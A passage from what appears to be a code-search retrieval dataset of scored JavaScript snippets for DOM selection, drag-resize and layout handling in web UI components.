selectCoords.bottom - parentCoords.bottom + scroll.verticalScroll;\n\t\t\t\t\t\t\tif (overLeft > 0) {\n\t\t\t\t\t\t\t\tparent.scrollLeft -= overLeft;\n\t\t\t\t\t\t\t} else if (overRight > 0) {\n\t\t\t\t\t\t\t\tparent.scrollLeft += overRight;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (overTop > 0) {\n\t\t\t\t\t\t\t\tparent.scrollTop -= overTop;\n\t\t\t\t\t\t\t} else if (overBottom > 0) {\n\t\t\t\t\t\t\t\tparent.scrollTop += overBottom;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tsetStyles();\n\t\t\t\t\t}", "title": "" }, { "docid": "0e07791190ce30370151145609de9d04", "score": "0.5425002", "text": "storeDOMState() {\n let sel = this.view.root.getSelection()\n this.lastAnchorNode = sel.anchorNode; this.lastAnchorOffset = sel.anchorOffset\n this.lastHeadNode = sel.focusNode; this.lastHeadOffset = sel.focusOffset\n }", "title": "" }, { "docid": "eafb9026ca7416c48983ac236de35fc0", "score": "0.5411026", "text": "function scrLayout() { with (this)\r\n{\r\n if (!isDyn) return;\r\n\r\n winWidth = document.all ? document.body.clientWidth : window.innerWidth;\r\n winHeight = document.all ? document.body.clientHeight : window.innerHeight;\r\n\r\n if (isNS4 && (scrFirstWidth != winWidth))\r\n {\r\n // Sorry folks, NS4 has major bugs resizing horizontally and must refresh...\r\n fileName = location.href;\r\n if (fileName.indexOf('?') != -1) fileName = fileName.substring(0, fileName.indexOf('?'));\r\n location.href = fileName + '?loadFile=' + divRef.src;\r\n }\r\n\r\n // If it's not yet initialised, go no further.\r\n if (!loaded) return;\r\n\r\n // Minimum values for window sizes.\r\n if (winWidth < minWinWidth) winWidth = minWinWidth;\r\n if (winHeight < minWinHeight) winHeight = minWinHeight;\r\n\r\n // Loop through divs array, positioning/sizing controls.\r\n for (count = 0; count < divs.length; count++)\r\n {\r\n var tmpObj = getSty(divs[count][0]);\r\n if (divs[count][1]) tmpObj.left = eval(divs[count][1]);\r\n if (divs[count][2]) tmpObj.top = eval(divs[count][2]);\r\n if (divs[count][3])\r\n {\r\n var tmpW = eval(divs[count][3]);\r\n isNS4 ? tmpObj.clip.width = tmpW : tmpObj.width = tmpW;\r\n }\r\n // Don't set the height of the first scrolling div, we have to pick this up later.\r\n if (divs[count][4] && count != 0)\r\n {\r\n var tmpH = eval(divs[count][4]);\r\n isNS4 ? tmpObj.clip.height = tmpH : tmpObj.height = tmpH;\r\n }\r\n }\r\n\r\n // Set the top, bottom & width clip variables.\r\n if ((isDOM || isIE4) && !cTop) cTop = 0;\r\n // This will fix 'undefined' errors in NS.\r\n if (isNS4) cTop = divSty.clip.top;\r\n\r\n // Bar height and clipping parameters, stored here as accessed often. Set width on-the-fly.\r\n barHeight = eval(divs[1][4]);\r\n cBot = cTop + eval(divs[0][4]);\r\n cWidth = eval(divs[0][3]);\r\n if (isDOM || isIE4) divSty.width = cWidth;\r\n\r\n // Now, display it using updated variables...\r\n scrollBy(0);\r\n}}", "title": "" }, { "docid": "046ed65200373240f3ef35b3ec3c1779", "score": "0.5400465", "text": "_repaintDomAdditionals() {\n this._repaintOnItemUpdateTimeTooltip(this.dom.box);\n this._repaintDeleteButton(this.dom.box);\n this._repaintDragCenter();\n this._repaintDragLeft();\n this._repaintDragRight();\n }", "title": "" }, { "docid": "046ed65200373240f3ef35b3ec3c1779", "score": "0.5400465", "text": "_repaintDomAdditionals() {\n this._repaintOnItemUpdateTimeTooltip(this.dom.box);\n this._repaintDeleteButton(this.dom.box);\n this._repaintDragCenter();\n this._repaintDragLeft();\n this._repaintDragRight();\n }", "title": "" }, { "docid": "ec4dfd057def1ba494b2c627a866b351", "score": "0.539749", "text": "function Q(){for(var e=0;e<It._controllers.document.getPageCount();e++){var t=a(e);t&&t.selection&&(D(e,t,!0),t.selection=null)}Yt.selectionCache.length=0}", "title": "" }, { "docid": "4aa92f319883ec03fce47b25aa3b40cf", "score": "0.53904516", "text": "function update_select_preview(top,left,margins,W_factor,H_factor,cursor_dim, cur_step_start,cursor_border_width,prev_W,prev_H,show_pos) {\n \n\n // Maximize the values\n if(top<=5) { top = 0; }\n if(left<=5) { left=0; }\n if(Math.abs(top-prev_W)<=5) { top = prev_W; }\n if(Math.abs(left-prev_H)<=5) { left = prev_H; }\n\n // Move Selector\n $(\"#selector\").css({\n top: top - cursor_dim/2,\n left: left - cursor_dim/2\n });\n\n sel_x = Math.floor(left)+margins - cursor_dim/2;\n sel_y = Math.floor(top)+margins - cursor_dim/2;\n\n if(show_pos) {\n cur_step_start = !cur_step_start\n\n if(cur_step_start) {\n // Update START X/Y\n //$('#res .start').html('<b>A</b> x:' + Math.floor(sel_x*W_factor)+ 'px ' + 'y:'+ Math.floor(sel_y*H_factor) +'px');\n //$('#selector').css('border-color','#ccc');\n\n // Put the static square on the view\n if($('#sel_start_static').length==0) {\n $('<div id=\"sel_start_static\" style=\"width:'+cursor_dim+'px; height:'+cursor_dim+'px;position:absolute; border:'+cursor_border_width+'px solid #ccc; border-radius:50%\">').appendTo($('#main_view'));\n }\n \n $('#sel_start_static').css({\n top: top - cursor_dim/2,\n left: left - cursor_dim/2\n });\n\n $('input[name=x_start]').val(Math.floor(left));\n $('input[name=y_start]').val(Math.floor(top)); \n\n HAVE_START = true;\n } else {\n // Update END X/Y\n //$('#res .end').html('<b>B</b> x:' + Math.floor(sel_x*W_factor)+ 'px ' + 'y:'+ Math.floor(sel_y*H_factor) +'px');\n //$('#selector').css('border-color','green');\n\n // Put the static square on the view\n if($('#sel_end_static').length==0) {\n $('<div id=\"sel_end_static\" style=\"width:'+cursor_dim+'px; height:'+cursor_dim+'px;position:absolute; border:'+cursor_border_width+'px solid #ccc; border-radius:50%\">').appendTo($('#main_view'));\n }\n\n $('#sel_end_static').css({\n top: top - cursor_dim/2,\n left: left - cursor_dim/2\n }); \n \n $('input[name=x_end]').val(Math.floor(left));\n $('input[name=y_end]').val(Math.floor(top)); \n \n HAVE_END = true;\n } \n }\n\n // Enable continue button \n if(HAVE_END && HAVE_START) {\n $('#step1_btn').removeAttr('disabled').removeClass('disabled');\n\n // Add the rectangle\n if($('#sel_rectangle_static').length==0) {\n $('<div id=\"sel_rectangle_static\" style=\"position:absolute; border:1px solid rgba(255,255,255,.6)\">').appendTo($('#main_view'));\n }\n\n // We draw a rectangle & get the proper data to pass\n var h = parseInt($('input[name=y_end]').val()) - parseInt($('input[name=y_start]').val());\n var w = parseInt($('input[name=x_end]').val()) - parseInt($('input[name=x_start]').val());\n \n // Update \"real w & h\"\n $('input[name=w]').val(Math.abs(w)*W_factor);\n $('input[name=h]').val(Math.abs(h)*H_factor); \n \n\n if(w<=0 && h>0) { \n n_TOP = parseInt($('input[name=y_start]').val());\n n_LEFT = parseInt($('input[name=x_end]').val());\n n_WIDTH = Math.abs(w);\n n_HEIGHT = h; \n } else if(h<=0 && w>0) { \n n_TOP = parseInt($('input[name=y_end]').val());\n n_LEFT = parseInt($('input[name=x_start]').val());\n n_WIDTH = w;\n n_HEIGHT = Math.abs(h);\n } else if(h<=0 && w<=0) {\n n_TOP = parseInt($('input[name=y_end]').val());\n n_LEFT = parseInt($('input[name=x_end]').val());\n n_WIDTH = Math.abs(w);\n n_HEIGHT = Math.abs(h);\n } else {\n n_TOP = parseInt($('input[name=y_start]').val());\n n_LEFT = parseInt($('input[name=x_start]').val());\n n_WIDTH = Math.abs(parseInt($('input[name=x_start]').val()) - parseInt($('input[name=x_end]').val()));\n n_HEIGHT = Math.abs(parseInt($('input[name=y_start]').val()) - parseInt($('input[name=y_end]').val()));\n }\n\n $('#sel_rectangle_static').css({\n 'top': n_TOP,\n 'left': n_LEFT,\n 'width': n_WIDTH ,\n 'height': n_HEIGHT\n });\n \n // Update real x,y\n $('input[name=ys]').val(n_TOP*H_factor);\n $('input[name=xs]').val(n_LEFT*W_factor); \n \n }\n \n return cur_step_start\n}", "title": "" }, { "docid": "f078aa63fda5d303bfe6e24150e1948e", "score": "0.5384288", "text": "bindPageEvents() {\n let $pages = $(\".page\");\n let selectionBoxActive = false; // Is the selection box in use\n\n // Start of click\n let start = {\n x: 0,\n y: 0,\n };\n\n // Press down, activate the selection box\n $pages.mousedown(ev => {\n if (ev.which !== 1 && ev.target.id === \"sel_box\") {\n return;\n }\n\n let point = getRelativePointForMouseEvent(ev);\n\n this.setSelectionBox($(ev.delegateTarget), {\n x: point.x,\n y: point.y,\n width: 0,\n height: 0,\n visible: true,\n });\n\n start = point;\n selectionBoxActive = true;\n });\n\n // Change the selection box\n $pages.mousemove(ev => {\n if (!selectionBoxActive) {\n return;\n }\n\n let point = getRelativePointForMouseEvent(ev); // Mouse position\n this.setSelectionBox($(ev.delegateTarget), {\n x: Math.min(start.x, point.x),\n y: Math.min(start.y, point.y),\n width: Math.abs(start.x - point.x),\n height: Math.abs(start.y - point.y),\n });\n });\n\n // Finish the selection box\n $pages.mouseup(() => {\n let size = this.selectionBoxSize();\n\n // If the box is REALLY small then hide it\n if (size.width < HIDE_BOX_THRESHOLD && size.height < HIDE_BOX_THRESHOLD) {\n this.hide_selection_box();\n }\n\n selectionBoxActive = false;\n });\n }", "title": "" }, { "docid": "acc2307cbcf10f33566522ef6022b22f", "score": "0.53721476", "text": "_reset() {\n this._isDragging = false;\n const styles = coerceElement(this.element).style;\n styles.scrollSnapType = styles.msScrollSnapType = this._initialScrollSnap;\n // TODO(crisbeto): may have to wait for the animations to finish.\n this._activeDraggables.forEach(item => {\n const rootElement = item.getRootElement();\n if (rootElement) {\n const initialTransform = this._itemPositions.find(current => current.drag === item)?.initialTransform;\n rootElement.style.transform = initialTransform || '';\n }\n });\n this._siblings.forEach(sibling => sibling._stopReceiving(this));\n this._activeDraggables = [];\n this._itemPositions = [];\n this._previousSwap.drag = null;\n this._previousSwap.delta = 0;\n this._previousSwap.overlaps = false;\n this._stopScrolling();\n this._viewportScrollSubscription.unsubscribe();\n this._parentPositions.clear();\n }", "title": "" }, { "docid": "32208ec2a93b4c198798885c93007b43", "score": "0.5351094", "text": "updateResize(event) {\n const me = this,\n context = me.context; // flip which edge is being dragged depending on whether we're to the right or left of the mousedown\n\n if (me.allowEdgeSwitch) {\n if (me.direction === 'horizontal') {\n context.edge = context.currentX > context.startX ? 'right' : 'left';\n } else {\n context.edge = context.currentY > context.startY ? 'bottom' : 'top';\n }\n }\n\n let // limit to outerElement if set\n deltaX = context.currentX - context.startX,\n deltaY = context.currentY - context.startY,\n minWidth = DomHelper.getExtremalSizePX(context.element, 'minWidth') || me.minWidth,\n maxWidth = DomHelper.getExtremalSizePX(context.element, 'maxWidth') || me.maxWidth,\n minHeight = DomHelper.getExtremalSizePX(context.element, 'minHeight') || me.minHeight,\n maxHeight = DomHelper.getExtremalSizePX(context.element, 'maxHeight') || me.maxHeight,\n // dragging right edge right increases width, dragging left edge right decreases width\n sign = context.edge === 'right' || context.edge === 'bottom' ? 1 : -1,\n // new width, not allowed to go below minWidth\n newWidth = context.elementWidth + deltaX * sign,\n width = Math.max(minWidth, newWidth),\n newHeight = context.elementHeight + deltaY * sign,\n height = Math.max(minHeight, newHeight);\n\n if (maxWidth > 0) {\n width = Math.min(width, maxWidth);\n }\n\n if (maxHeight > 0) {\n height = Math.min(height, maxHeight);\n } // remove flex when resizing\n\n if (context.element.style.flex) {\n context.element.style.flex = '';\n }\n\n if (me.direction === 'horizontal') {\n context.element.style.width = Math.abs(width) + 'px';\n context.newWidth = width; // when dragging left edge, also update position (so that right edge remains in place)\n\n if (context.edge === 'left' || width < 0) {\n context.newX = Math.max(Math.min(context.elementStartX + context.elementWidth - me.minWidth, context.elementStartX + deltaX), 0);\n\n if (!me.skipTranslate) {\n DomHelper.setTranslateX(context.element, context.newX);\n }\n } // When dragging the right edge and we're allowed to flip the drag from left to right\n // through the start point (eg drag event creation) the element must be at its initial X position\n else if (context.edge === 'right' && me.allowEdgeSwitch && !me.skipTranslate) {\n DomHelper.setTranslateX(context.element, context.elementStartX);\n }\n } else {\n context.element.style.height = Math.abs(height) + 'px';\n context.newHeight = height; // when dragging top edge, also update position (so that bottom edge remains in place)\n\n if (context.edge === 'top' || height < 0) {\n context.newY = Math.max(Math.min(context.elementStartY + context.elementHeight - me.minHeight, context.elementStartY + deltaY), 0);\n\n if (!me.skipTranslate) {\n DomHelper.setTranslateY(context.element, context.newY);\n }\n } // When dragging the bottom edge and we're allowed to flip the drag from top to bottom\n // through the start point (eg drag event creation) the element must be at its initial Y position\n else if (context.edge === 'bottom' && me.allowEdgeSwitch && !me.skipTranslate) {\n DomHelper.setTranslateY(context.element, context.elementStartY);\n }\n }\n }", "title": "" }, { "docid": "d17cc5e35250e9d824798955a778fb30", "score": "0.53475386", "text": "function resizeAll() {\n var index, curr;\n for(index = 0; curr = boundViews[index]; index++) {\n repartition(curr);\n }\n }", "title": "" }, { "docid": "d17cc5e35250e9d824798955a778fb30", "score": "0.53475386", "text": "function resizeAll() {\n var index, curr;\n for(index = 0; curr = boundViews[index]; index++) {\n repartition(curr);\n }\n }", "title": "" }, { "docid": "93dfe1d12d5fc2bf6f44708349560ac0", "score": "0.5346529", "text": "function myMove(e) {\n if (isDrag) {\n getMouse(e);\n\n mySel.x = mx - offsetx;\n mySel.y = my - offsety;\n\n // something is changing position so we better invalidate the canvas!\n invalidate();\n } else if (isResizeDrag) {\n // time ro resize!\n var oldx = mySel.x;\n var oldy = mySel.y;\n\n // 0 1 2\n // 3 4\n // 5 6 7\n switch (expectResize) {\n case 0:\n mySel.x = mx;\n mySel.y = my;\n mySel.w += oldx - mx;\n mySel.h += oldy - my;\n break;\n case 1:\n mySel.y = my;\n mySel.h += oldy - my;\n break;\n case 2:\n mySel.y = my;\n mySel.w = mx - oldx;\n mySel.h += oldy - my;\n break;\n case 3:\n mySel.x = mx;\n mySel.w += oldx - mx;\n break;\n case 4:\n mySel.w = mx - oldx;\n break;\n case 5:\n mySel.x = mx;\n mySel.w += oldx - mx;\n mySel.h = my - oldy;\n break;\n case 6:\n mySel.h = my - oldy;\n break;\n case 7:\n mySel.w = mx - oldx;\n mySel.h = my - oldy;\n break;\n }\n\n invalidate();\n }\n\n getMouse(e);\n // if there's a selection see if we grabbed one of the selection handles\n if (mySel !== null && !isResizeDrag) {\n for (var i = 0; i < 4; i++) {\n // 0 1 2\n // 3 4\n // 5 6 7\n\n var cur = selectionHandles[i];\n\n // we dont need to use the ghost context because\n // selection handles will always be rectangles\n if (mx >= cur.x && mx <= cur.x + mySelBoxSize &&\n my >= cur.y && my <= cur.y + mySelBoxSize) {\n // we found one!\n expectResize = i;\n invalidate();\n\n switch (i) {\n case 0:\n this.style.cursor = 'n-resize';\n break;\n case 1:\n this.style.cursor = 's-resize';\n break;\n case 2:\n this.style.cursor = 'e-resize';\n break;\n case 3:\n this.style.cursor = 'w-resize';\n break;\n\n\n }\n return;\n }\n\n }\n // not over a selection box, return to normal\n isResizeDrag = false;\n expectResize = -1;\n this.style.cursor = 'auto';\n }\n\n }", "title": "" }, { "docid": "0db8f761f56b411e907ae71752ccfca9", "score": "0.53427094", "text": "_elementChanged() {\n const layout = this.$$('nuxeo-layout');\n if (layout && layout.element) {\n // the element's DOM might not be yet be initialized. If that is the case, we should wait for it.\n customElements.whenDefined(layout.element.is).then(async () => {\n const bulkLayout = layout.element;\n // XXX wait for the shadow root to be attached, affects Safari, see WEBUI-842\n // we are setting a time limit to prevent infinite wait\n let shadowChecks = 0;\n const timeLimit = 3000;\n const interval = 50;\n while (!bulkLayout.shadowRoot && shadowChecks * interval <= timeLimit) {\n shadowChecks++;\n // eslint-disable-next-line no-await-in-loop\n await new Promise((r) => setTimeout(r, 50));\n }\n if (shadowChecks * interval > timeLimit) {\n console.warn(`bulk edit layout \"${this.layout}\" shadow root not found`);\n }\n // initialize document if need be\n if (!bulkLayout.document) {\n bulkLayout.document = {\n properties: {},\n };\n }\n // inject a properties observer callback function in the layout\n bulkLayout._propertiesObserver = this._propertiesObserver.bind(this);\n // set the observer in the layout so that when a property gets updated, the callback is executed\n bulkLayout._createMethodObserver('_propertiesObserver(document.properties.*)', true);\n // replace all the widgets in the layout with bulk widget wrappers\n // a widget is a node identified with the `role=\"widget\"` attribute, it can be something as simple\n // an input element bound to a property, or a complex DOM structure with an element somewhere inside\n // bound to a property, example:\n // <div role=\"widget\"> (<- widget)\n // <label>Description</label>\n // <nuxeo-input value=\"{{document.properties.dc:description}}\"></nuxeo-input> (<- bound element)\n // </div>\n // XXX The data table selector is needed because it sets `role=\"table\"` on itself (see ELEMENTS-1346)\n const selector = '[role=\"widget\"], nuxeo-data-table[role=\"table\"]';\n const widgets = Array.from(bulkLayout.shadowRoot.querySelectorAll(selector));\n widgets.forEach((widget) => {\n const { parentNode } = widget;\n const bulkWidget = document.createElement('nuxeo-bulk-widget');\n parentNode.replaceChild(bulkWidget, widget);\n bulkWidget.appendChild(widget);\n // get the element that is bound to a property\n const boundElement = this._getBoundElement(widget, bulkLayout.__templateInfo);\n // keep a reference of this element in the bulk widget\n bulkWidget.element = boundElement;\n // move the `role=\"widget\"` to the bulk widget\n widget.removeAttribute('role');\n bulkWidget.setAttribute('role', 'widget');\n // move the `label` to the bulk widget\n if (boundElement.label) {\n bulkWidget.label = boundElement.label;\n boundElement.label = null;\n }\n // move the `required` to the bulk widget\n if (boundElement.required) {\n bulkWidget._required = true;\n boundElement.required = null;\n }\n });\n });\n }\n }", "title": "" }, { "docid": "f096d628683b0f1b03204b2dd99cd8a0", "score": "0.53403574", "text": "[positionElements]() {\n\t\tconst self = this;\n\n\t\tif (!self.isRemoved) {\n\t\t\tlet baseWidth = self.innerWidth();\n\t\t\tlet textWidth = self.textWidth() || new CssSize(self.width().isAuto ? '14em' : HUNDRED_PERCENT);\n\n\t\t\tif (textWidth.toString() !== HUNDRED_PERCENT) {\n\t\t\t\tif (textWidth.isFixed) {\n\t\t\t\t\tbaseWidth = textWidth.toPixels(true);\n\t\t\t\t}\n\t\t\t\telse if (textWidth.isPercent) {\n\t\t\t\t\tbaseWidth *= textWidth.value / 100;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (self[PREFIX_WIDTH] || self[SUFFIX_WIDTH]) {\n\t\t\t\tbaseWidth -= Math.ceil(self[PREFIX_WIDTH] + self[SUFFIX_WIDTH]) + 1;\n\t\t\t}\n\n\t\t\tself[INPUT].width(baseWidth);\n\t\t}\n\t}", "title": "" }, { "docid": "d1c8bfe2eaa49ff968d675c09647df72", "score": "0.53330964", "text": "setViewPortCoordinate(position, dimension) {\n let virtualSize = this.store.get('virtualSize');\n // no visible data to calculate\n if (!virtualSize) {\n return;\n }\n const frameOffset = dimension.frameOffset;\n const outsize = frameOffset * 2 * dimension.originItemSize;\n virtualSize += outsize;\n let maxCoordinate = virtualSize;\n if (dimension.realSize > virtualSize) {\n maxCoordinate = dimension.realSize - virtualSize;\n }\n let toUpdate = {\n lastCoordinate: position,\n };\n let pos = position;\n pos -= frameOffset * dimension.originItemSize;\n pos = pos < 0 ? 0 : pos < maxCoordinate ? pos : maxCoordinate;\n const firstItem = getFirstItem(this.getItems());\n const lastItem = getLastItem(this.getItems());\n // left position changed\n if (!isActiveRange(pos, firstItem)) {\n toUpdate = Object.assign(Object.assign({}, toUpdate), getUpdatedItemsByPosition(pos, this.getItems(), this.store.get('realCount'), virtualSize, dimension));\n setStore(this.store, Object.assign({}, toUpdate));\n // right position changed\n }\n else if (firstItem && this.store.get('virtualSize') + pos > (lastItem === null || lastItem === void 0 ? void 0 : lastItem.end)) {\n // check is any item missing for full fill content\n const missing = addMissingItems(firstItem, this.store.get('realCount'), virtualSize + pos - firstItem.start, this.getItems(), dimension);\n if (missing.length) {\n const items = [...this.store.get('items')];\n const range = {\n start: this.store.get('start'),\n end: this.store.get('end'),\n };\n updateMissingAndRange(items, missing, range);\n toUpdate = Object.assign(Object.assign(Object.assign({}, toUpdate), { items: [...items] }), range);\n setStore(this.store, Object.assign({}, toUpdate));\n }\n }\n }", "title": "" }, { "docid": "2be9dd060ac08b63f46eae38f1ecbf97", "score": "0.53157496", "text": "function rebuildLayoutEditor() {\n var editor = document.getElementById(\"LayoutEditor\");\n editor.innerHTML = \"\"; //clear the existing layout\n editor.draggable = false;\n for(var block in LAYOUT_BLOCKS) {\n var selection_block = document.getElementById(\"SelectionBlock-\" + block);\n $(selection_block).removeClass(\"disabled\");\n selection_block.draggable = true;\n }\n buildLayoutBlocks(editor, _problemFormat.order);\n}", "title": "" }, { "docid": "fb0e245e64b85a9ed32731a88f94610c", "score": "0.53128594", "text": "function resizeNorth(e) {\n var calculateValue = false;\n var boundaryRectValues;\n var pageY = (getEventType(e.type) === 'mouse') ? e.pageY : e.touches[0].pageY;\n var targetRectValues = getClientRectValues(targetElement);\n if (!Object(__WEBPACK_IMPORTED_MODULE_0__syncfusion_ej2_base__[\"M\" /* isNullOrUndefined */])(containerElement)) {\n boundaryRectValues = getClientRectValues(containerElement);\n }\n if (!Object(__WEBPACK_IMPORTED_MODULE_0__syncfusion_ej2_base__[\"M\" /* isNullOrUndefined */])(containerElement) && (targetRectValues.top - boundaryRectValues.top) > 0) {\n calculateValue = true;\n }\n else if (Object(__WEBPACK_IMPORTED_MODULE_0__syncfusion_ej2_base__[\"M\" /* isNullOrUndefined */])(containerElement) && pageY > 0) {\n calculateValue = true;\n }\n var currentHeight = originalHeight - (pageY - originalMouseY);\n if ((getClientRectValues(targetElement).bottom + currentHeight) > maxHeight) {\n calculateValue = false;\n targetElement.style.height = maxHeight - getClientRectValues(targetElement).bottom + 'px';\n }\n if (calculateValue) {\n if (currentHeight >= minHeight && currentHeight <= maxHeight) {\n var containerTop = 0;\n if (!Object(__WEBPACK_IMPORTED_MODULE_0__syncfusion_ej2_base__[\"M\" /* isNullOrUndefined */])(containerElement)) {\n containerTop = boundaryRectValues.top;\n }\n var top_1 = (originalY - containerTop) + (pageY - originalMouseY);\n top_1 = top_1 > 0 ? top_1 : 1;\n targetElement.style.height = currentHeight + 'px';\n targetElement.style.top = top_1 + 'px';\n }\n }\n}", "title": "" }, { "docid": "5c225712457a038bdbcd7426b3d1ce8a", "score": "0.53125703", "text": "layout() {\n const {min, max} = this.root.dataset;\n this._gBCR = this.root.getBoundingClientRect();\n this.value = {\n min: min || 0,\n max: max || this.range,\n };\n }", "title": "" }, { "docid": "32d0cfa5bc2443fc15dc7c2581addb0a", "score": "0.53036916", "text": "function selectionChanged(isReallyChanged) {\n // console.log(\"selectionChanged \" + isReallyChanged);\n try {\n var sel = window.getSelection();\n if (!sel) {\n return;\n }\n var range = sel.getRangeAt(0);\n\n // Add spans to the selection to get page offsets\n var selectionStart = $(\"<span id=\\\"selectionStart\\\">&#xfeff;</span>\");\n var selectionEnd = $(\"<span id=\\\"selectionEnd\\\"></span>\");\n\n var startRange = document.createRange();\n startRange.setStart(range.startContainer, range.startOffset);\n startRange.insertNode(selectionStart[0]);\n\n var endRange = document.createRange();\n endRange.setStart(range.endContainer, range.endOffset);\n endRange.insertNode(selectionEnd[0]);\n\n var handleBounds = \"{'left': \" + (selectionStart.offset().left) + \", \";\n handleBounds += \"'top': \" + (selectionStart.offset().top + selectionStart.height()) + \", \";\n handleBounds += \"'right': \" + (selectionEnd.offset().left) + \", \";\n handleBounds += \"'bottom': \" + (selectionEnd.offset().top + selectionEnd.height()) + \"}\";\n\n // Pull the spans\n selectionStart.remove();\n selectionEnd.remove();\n\n // Reset range\n sel.removeAllRanges();\n sel.addRange(range);\n\n // Rangy\n var rangyRange = getRange();\n\n // Text to send to the selection\n var text = window.getSelection().toString();\n\n // Set the content width\n //window.TextSelection.setContentWidth(document.body.clientWidth);\n\n // Tell the interface that the selection changed\n window.TextSelection.selectionChanged(rangyRange, text, handleBounds, isReallyChanged);\n } catch (e) {\n //window.TextSelection.jsError(e);\n // console.log(\"selectionChanged \" + e);\n\n }\n }", "title": "" }, { "docid": "80a23032fb0558767373ea364d003139", "score": "0.5298287", "text": "function adjustSelectionToVisibleSelection() {\n\t\t\t\tfunction findSelectionEnd(start, end) {\n\t\t\t\t\tvar walker = new TreeWalker(end);\n\t\t\t\t\tfor (node = walker.prev2(); node; node = walker.prev2()) {\n\t\t\t\t\t\tif (node.nodeType == 3 && node.data.length > 0) {\n\t\t\t\t\t\t\treturn node;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (node.childNodes.length > 1 || node == start || node.tagName == 'BR') {\n\t\t\t\t\t\t\treturn node;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Adjust selection so that a end container with a end offset of zero is not included in the selection\n\t\t\t\t// as this isn't visible to the user.\n\t\t\t\tvar rng = ed.selection.getRng();\n\t\t\t\tvar start = rng.startContainer;\n\t\t\t\tvar end = rng.endContainer;\n\n\t\t\t\tif (start != end && rng.endOffset === 0) {\n\t\t\t\t\tvar newEnd = findSelectionEnd(start, end);\n\t\t\t\t\tvar endOffset = newEnd.nodeType == 3 ? newEnd.data.length : newEnd.childNodes.length;\n\n\t\t\t\t\trng.setEnd(newEnd, endOffset);\n\t\t\t\t}\n\n\t\t\t\treturn rng;\n\t\t\t}", "title": "" }, { "docid": "80a23032fb0558767373ea364d003139", "score": "0.5298287", "text": "function adjustSelectionToVisibleSelection() {\n\t\t\t\tfunction findSelectionEnd(start, end) {\n\t\t\t\t\tvar walker = new TreeWalker(end);\n\t\t\t\t\tfor (node = walker.prev2(); node; node = walker.prev2()) {\n\t\t\t\t\t\tif (node.nodeType == 3 && node.data.length > 0) {\n\t\t\t\t\t\t\treturn node;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (node.childNodes.length > 1 || node == start || node.tagName == 'BR') {\n\t\t\t\t\t\t\treturn node;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Adjust selection so that a end container with a end offset of zero is not included in the selection\n\t\t\t\t// as this isn't visible to the user.\n\t\t\t\tvar rng = ed.selection.getRng();\n\t\t\t\tvar start = rng.startContainer;\n\t\t\t\tvar end = rng.endContainer;\n\n\t\t\t\tif (start != end && rng.endOffset === 0) {\n\t\t\t\t\tvar newEnd = findSelectionEnd(start, end);\n\t\t\t\t\tvar endOffset = newEnd.nodeType == 3 ? newEnd.data.length : newEnd.childNodes.length;\n\n\t\t\t\t\trng.setEnd(newEnd, endOffset);\n\t\t\t\t}\n\n\t\t\t\treturn rng;\n\t\t\t}", "title": "" }, { "docid": "80a23032fb0558767373ea364d003139", "score": "0.5298287", "text": "function adjustSelectionToVisibleSelection() {\n\t\t\t\tfunction findSelectionEnd(start, end) {\n\t\t\t\t\tvar walker = new TreeWalker(end);\n\t\t\t\t\tfor (node = walker.prev2(); node; node = walker.prev2()) {\n\t\t\t\t\t\tif (node.nodeType == 3 && node.data.length > 0) {\n\t\t\t\t\t\t\treturn node;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (node.childNodes.length > 1 || node == start || node.tagName == 'BR') {\n\t\t\t\t\t\t\treturn node;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Adjust selection so that a end container with a end offset of zero is not included in the selection\n\t\t\t\t// as this isn't visible to the user.\n\t\t\t\tvar rng = ed.selection.getRng();\n\t\t\t\tvar start = rng.startContainer;\n\t\t\t\tvar end = rng.endContainer;\n\n\t\t\t\tif (start != end && rng.endOffset === 0) {\n\t\t\t\t\tvar newEnd = findSelectionEnd(start, end);\n\t\t\t\t\tvar endOffset = newEnd.nodeType == 3 ? newEnd.data.length : newEnd.childNodes.length;\n\n\t\t\t\t\trng.setEnd(newEnd, endOffset);\n\t\t\t\t}\n\n\t\t\t\treturn rng;\n\t\t\t}", "title": "" }, { "docid": "6ed6676fa91bb5f638e2df9d2f5b1cc4", "score": "0.5285492", "text": "function adjustSelectionToVisibleSelection() {\n function findSelectionEnd(start, end) {\n var walker = new TreeWalker(end);\n for (node = walker.prev2(); node; node = walker.prev2()) {\n if (node.nodeType == 3 && node.data.length > 0) {\n return node;\n }\n\n if (node.childNodes.length > 1 || node == start || node.tagName == 'BR') {\n return node;\n }\n }\n }\n\n // Adjust selection so that a end container with a end offset of zero is not included in the selection\n // as this isn't visible to the user.\n var rng = ed.selection.getRng();\n var start = rng.startContainer;\n var end = rng.endContainer;\n\n if (start != end && rng.endOffset === 0) {\n var newEnd = findSelectionEnd(start, end);\n var endOffset = newEnd.nodeType == 3 ? newEnd.data.length : newEnd.childNodes.length;\n\n rng.setEnd(newEnd, endOffset);\n }\n\n return rng;\n }", "title": "" }, { "docid": "48f286f5aa13c5ddfb10ee95d419fb3c", "score": "0.5284016", "text": "function resizeSouth(e) {\n var documentHeight = document.documentElement.clientHeight;\n var calculateValue = false;\n var containerRectValues;\n var currentpageY = (getEventType(e.type) === 'mouse') ? e.pageY : e.touches[0].pageY;\n var targetRectValues = getClientRectValues(targetElement);\n if (!Object(__WEBPACK_IMPORTED_MODULE_0__syncfusion_ej2_base__[\"M\" /* isNullOrUndefined */])(containerElement)) {\n containerRectValues = getClientRectValues(containerElement);\n }\n if (!Object(__WEBPACK_IMPORTED_MODULE_0__syncfusion_ej2_base__[\"M\" /* isNullOrUndefined */])(containerElement)) {\n calculateValue = true;\n }\n else if (Object(__WEBPACK_IMPORTED_MODULE_0__syncfusion_ej2_base__[\"M\" /* isNullOrUndefined */])(containerElement) && ((documentHeight - currentpageY) >= 0 || (targetRectValues.top < 0))) {\n calculateValue = true;\n }\n var calculatedHeight = originalHeight + (currentpageY - originalMouseY);\n calculatedHeight = (calculatedHeight > minHeight) ? calculatedHeight : minHeight;\n var containerTop = 0;\n if 